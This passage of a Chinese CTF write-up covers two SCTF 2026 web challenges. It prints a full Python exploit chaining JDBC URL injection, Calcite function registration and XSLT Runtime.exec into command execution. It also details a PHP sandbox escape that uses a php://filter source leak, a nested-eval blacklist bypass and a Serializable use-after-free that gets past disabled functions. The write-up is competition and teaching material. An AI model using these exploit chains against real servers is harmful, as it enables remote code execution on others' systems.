5. →设置 jdk.xml.enableExtensionFunctions=true
6. →分块写入恶意 XSLT 到System properties
7. →注册XmlFunctions.xmlTransform
8. →触发 XSLT,调用Runtime.exec("sh -c /readflag>/tmp/o")
9. →注册Base64工具类
10. →调用 encodeFromFile('/tmp/o')
11. →Base64解码得到 flag
0x08 关键 payload
1. 注册 System
1. version:1
2. schemas:[{name: s,functions:[{className: java.lang.System,methodName:"*"}]}]
2. 开启扩展函数
1. select s.setProperty('jdk.xml.enableExtensionFunctions','true')
3. 恶意 XSLT
1. <stylesheetxmlns="http://www.w3.org/1999/XSL/Transform"
2. xmlns:r="xalan://java.lang.Runtime"version="1">
3. <templatematch="/"><value-ofselect="r:exec(r:getRuntime(),'sh -c /readflag>/tmp/o')"/></template>
4. </stylesheet>
4. 触发执行
1. select s.xmlTransform('<a/>', s.getProperty('a')|| s.getProperty('b'))
5. 读取结果
1. select s.encodeFromFile('/tmp/o')
0x09 EXP
我最终使用的 exp 如下,能够直接对题目服务打通整条链:
完整脚本:greatsql_exp.py
核心代码如下:
1. #!/usr/bin/env python3
2. import base64
3. import json
4. import random
5. import string
6. import sys
7. import time
8. import requests
9. def enc(obj):
10. return json.dumps(obj, separators=(",",":"))
11. def sql_string(s: str)-> str:
12. return"'"+ s.replace("'","''")+"'"
13. def rand_cid(prefix: str)-> str:
14. return prefix + random.choice(string.ascii_letters)
15. classAvatica:
16. def __init__(self, base_url):
17. self.url = base_url.rstrip("/")+"/"
18. self.session = requests.Session()
19. def post(self, obj, quiet=False):
20. data = enc(obj)
21. r = self.session.post(self.url, data=data, headers={"Content-Type":"application/json"}, timeout=10)
22. ifnot quiet:
23. print(f"[>] {data}")
24. print(f"[<] {r.status_code} {r.text[:220]}")
25. return r.json()
26. def open_calcite(self, cid, model):
27. return self.post({
28. "request":"openConnection",
29. "connectionId": cid,
30. "info":{"jdbcUrl":"jdbc:calcite:model=inline:"+ model},
31. })
32. def stmt(self, cid):
33. return self.post({"request":"createStatement","connectionId": cid})["statementId"]
34. def q(self, sid, sql, quiet=False):
35. return self.post({
36. "request":"prepareAndExecute",
37. "statementId": sid,
38. "sql": sql,
39. "maxRowsInFirstFrame":1,
40. }, quiet=quiet)
41. def main():
42. target = sys.argv[1]
43. out_file ="/tmp/o"
44. a =Avatica(target)
45. cid = rand_cid("s")
46. sys_model ='version: 1\nschemas: [{name: s,functions: [{className: java.lang.System,methodName: "*"}]}]'
47. a.open_calcite(cid, sys_model)
48. sid = a.stmt(cid)
49. a.q(sid,"select s.setProperty('jdk.xml.enableExtensionFunctions','true')")
50. cmd = f"sh -c /readflag>{out_file}"
51. xslt =(
52. '<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" '
53. 'xmlns:r="xalan://java.lang.Runtime" version="1">'
54. '<template match="/"><value-of select="r:exec(r:getRuntime(),\''
55. + cmd +
56. '\')"/></template></stylesheet>'
57. )
58. chunks =[xslt[i:i +150]for i in range(0, len(xslt),150)]
59. for i, chunk in enumerate(chunks):
60. key = chr(ord("a")+ i)
61. a.q(sid, f"select s.setProperty('{key}',{sql_string(chunk)})")
62. cid = rand_cid("x")
63. xml_model =(
64. 'version: 1\nschemas: [{name: s,functions: ['
65. '{className: java.lang.System,methodName: "*"},'
66. '{className: org.apache.calcite.runtime.XmlFunctions,methodName: xmlTransform}]}]'
67. )
68. a.open_calcite(cid, xml_model)
69. sid = a.stmt(cid)
70. expr ="||".join(f"s.getProperty('{chr(ord('a') + i)}')"for i in range(len(chunks)))
71. a.q(sid, f"select s.xmlTransform('<a/>',{expr})")
72. cid = rand_cid("b")
73. b64_model ='version: 1\nschemas: [{name: s,functions: [{className: org.apache.calcite.avatica.util.Base64,methodName: "*"}]}]'
74. a.open_calcite(cid, b64_model)
75. sid = a.stmt(cid)
76. for _ in range(10):
77. time.sleep(0.3)
78. j = a.q(sid, f"select s.encodeFromFile('{out_file}')", quiet=True)
79. rows = j["results"][0]["firstFrame"]["rows"]
80. if rows and rows[0]and rows[0][0]:
81. print(base64.b64decode(rows[0][0]).decode(errors="replace"))
82. return
84. # ...
运行方式:
1. python3 greatsql_exp.py http://HOST:PORT/
0x0A 本地复现结果
本地对附件环境复现后,成功读到占位 flag:
1. flag{replace_flag_here}
说明整条利用链是通的。 远程环境下直接运行同一个 exp 即可拿到真实 flag。
0x0B 漏洞总结
这题的本质不是单点 bug,而是一条组合利用链:
- Avatica 服务错误地信任客户端传入的
jdbcUrl - Calcite inline model 允许注册任意 classpath 静态方法为 SQL 函数
XmlFunctions.xmlTransform+ Xalan extension 可形成命令执行- 服务存在 SUID
/readflag,使 RCE 可以稳定转化为 flag 读取 Base64.encodeFromFile提供了非常方便的数据回显通道
所以最终是一个很典型的:
JDBC URL 注入 → Calcite model abuse → SQL function abuse → XSLT Java extension RCE → SUID 读 flag
0x0C 一句话结论
题目的解法核心就是:
利用可控 jdbc:calcite:model=inline: 注册 Java 静态方法为 SQL 函数,借助 XmlFunctions.xmlTransform 执行带 xalan://java.lang.Runtime 的恶意 XSLT,调用 /readflag 并通过 Base64.encodeFromFile 把 flag 读回。
phpstilAlive
题目信息
- 题目:phpstilAlive
- 描述:php sandbox!!
- 目标:
http://web-26d72b9c20.adworld.xctf.org.cn/ - Flag:
flag{WKIv9h0NOdC2oSEND3RrXNnGr8Pt5lNE}
初始观察
首页是一个在线 PHP 运行器,表单字段为 code,提交后会执行 PHP 并在 <preclass="out"> 中回显输出。
普通代码可以执行:
1. <?php
2. echo 'OK:';
3. echo 1+2;
4. ?>
输出:
1. OK:3
读取源码
虽然 file_get_contents 等函数被禁用,但 include 没有被禁用,可以用 php://filter 读取源码:
1. <?php
2. include 'php://filter/convert.base64-encode/resource=index.php';
3. ?>
解码后核心逻辑如下:
1. function snippet_is_blocked(string $code):bool
2. {
3. $blocked_names =[
4. 'arrayiterator'=>true,
5. 'arrayobject'=>true,
6. 'dateinterval'=>true,
7. 'datetime'=>true,
8. 'datetimeimmutable'=>true,
9. 'dateperiod'=>true,
10. 'hashcontext'=>true,
11. 'multipleiterator'=>true,
12. 'recursivearrayiterator'=>true,
13. 'spldoublylinkedlist'=>true,
14. 'splheap'=>true,
15. 'splmaxheap'=>true,
16. 'splminheap'=>true,
17. 'splobjectstorage'=>true,
18. 'weakmap'=>true,
19. 'weakreference'=>true,
20. ];
22. $blocked_calls =[
23. 'date_create'=>true,
24. 'date_create_immutable'=>true,
25. 'date_diff'=>true,
26. 'date_interval_create_from_date_string'=>true,
27. 'prev'=>true,
28. 'session_start'=>true,
29. 'session_unset'=>true,
30. 'settype'=>true,
31. 'spl_autoload_register'=>true,
32. 'spl_autoload_unregister'=>true,
33. 'call_user_func'=>true,
34. 'call_user_func_array'=>true,
35. ];
37. $tokens = token_get_all("<?php\n". $code);
38. ...
39. }
执行前会做 token 黑名单检查,然后 eval($code):
1. if(snippet_is_blocked($code)){
2. return"input rejected\n";
3. }
5. ob_start();
6. try{
7. eval($code);
8. }catch(Throwable $e){
9. echo get_class($e),': ', $e->getMessage(),"\n";
10. }
环境信息
探测配置:
1. <?php
2. echo 'cwd='. getcwd()."\n";
3. echo 'disable='. ini_get('disable_functions')."\n";
4. echo 'open_basedir='. ini_get('open_basedir')."\n";
5. echo 'disable_classes='. ini_get('disable_classes')."\n";
6. echo 'version='. PHP_VERSION ."\n";
7. echo 'sapi='. PHP_SAPI ."\n";
8. ?>
关键结果:
1. cwd=/var/www/html
2. open_basedir=/var/www/html:/tmp
3. disable_classes=DateInterval
4. version=8.4.22
5. sapi=apache2handler
大量危险函数被禁用,包括:
1. system,exec, shell_exec, passthru, proc_open, popen,
2. file_get_contents, file_put_contents, fopen, readfile,
3. scandir, glob, chmod, chown, copy, rename, symlink, curl_exec ...
题目文件线索
/var/www/html 只有 index.php。 /tmp 下有部署残留:
1. /tmp/tmp_installers/.../scene_file/.../pushflag.sh
读取 pushflag.sh:
1. <?php
2. include 'php://filter/convert.base64-encode/resource=/tmp/tmp_installers/.../pushflag.sh';
3. ?>
脚本内容:
1. #!/bin/sh
2. set-eu
4. FLAG_FILE="/lfag-9f1d7c2e-6a2c-4e54-9d7e-6cb10c4b8f9a"
6. if["$#"-ne 1];then
7. echo "usage: $0 <flag>">&2
8. exit 2
9. fi
11. printf '%s\n'"$1">"$FLAG_FILE"
12. chown root:root "$FLAG_FILE"
13. chmod 0400"$FLAG_FILE"
所以 flag 文件路径是:
1. /lfag-9f1d7c2e-6a2c-4e54-9d7e-6cb10c4b8f9a
但 PHP 被 open_basedir 限制,且 flag 为 root 0400,普通文件读不可行。
绕过源码黑名单
黑名单只检查用户提交的第一层源码,不递归检查运行时生成的代码。
因此可以二次 eval:
1. <?php
2. eval(base64_decode('ZWNobyAiT0tcbiI7'));
3. ?>
解码后实际执行:
1. echo "OK\n";
这个技巧可以绕过 DateInterval、 WeakMap、 call_user_func 等 token 级过滤,但绕不过 disable_functions。
选择利用方向
最开始尝试了公开的 TimeAfterFree PHP 8 sandbox escape,但目标配置了:
1. disable_classes=DateInterval
在这个环境里, newDateInterval('PT0S') 得到的是空壳对象:
1. object(DateInterval)#1(0){
2. }
TimeAfterFree 依赖 DateInterval 的内部字段作为读写原语,因此原版不适配。
最终使用 PHP Serializable var_hash UAF 方向。这个漏洞可以在 PHP 8.x 中通过自定义 Serializable 类触发,并绕过 disable_functions 找回原始 zif_system handler。
核心触发类:
1. class C implementsSerializable{
2. function serialize():string{
3. return'';
4. }
6. function unserialize(string $d):void{
7. unserialize($d)->x =0;
8. }
9. }
漏洞点是 Serializable::unserialize() 中递归调用 unserialize() 会复用外层 var_hash。内部反序列化出的 stdClass 属性表扩容后,外层 R:N 引用仍能指向被释放的 bucket,从而构造 UAF。
利用流程:
- 构造
stdClass8 个属性,填满初始 property HashTable。 - 在
C::unserialize()里给对象新增x属性,触发 8 -> 16 扩容并释放旧 arData。 - 用字符串 spray 回收释放块。
- 通过 stale
R:4..R:11构造 heap leak 和任意读。 - 扫描 heap 中的 Closure 对象,定位
closure_handlers、zend_ce_closure。 - 扫描 executor globals,定位
function_table和symbol_table。 - 从 standard module 的静态函数表中找原始
zif_system,绕过disable_functions。 - 构造 fake Closure,调用
system()。
工作区里的 mad_min.php 是压缩后的 exploit,默认命令为:
1. $cmd='id';
使用 submit_php.py 提交:
1. Get-Content-Raw.\mad_min.php | python .\submit_php.py --raw
成功执行命令:
1. R
2. H
3. O
4. F
5. S
6. GO
7. uid=33(www-data) gid=33(www-data) groups=33(www-data)
读取 Flag
先用 RCE 枚举根目录:
1. ls -la /
关键文件:
1. -r--------1 root root 39Jun1407:03 lfag-9f1d7c2e-6a2c-4e54-9d7e-6cb10c4b8f9a
2. -rwsr-xr-x 1 root root 14552Jun1107:50 readflag
直接 cat/lfag-... 权限不足:
1. Permission denied
但 /readflag 是 root SUID,执行即可:
1. $cmd='/readflag';
输出:
1. R
2. H
3. O
4. F
5. S
6. GO
7. flag{WKIv9h0NOdC2oSEND3RrXNnGr8Pt5lNE}
复现文件
当前工作区保留了两个主要文件:
- submit_php.py:POST 提交器,负责提交
code并抽取<preclass="out">。 - madmin.php:压缩后的 PHP 8.x Serializable varhash UAF 利用代码。
注意目标对 code 字段有约 16KB 到 20KB 的实际长度限制,原版公开 PoC 过大,提交后字段会被置空;所以这里使用压缩版 exploit。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星盟安全团队 星盟安全团队 星盟安全团队《SCTF 2026 Web WriteUp》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论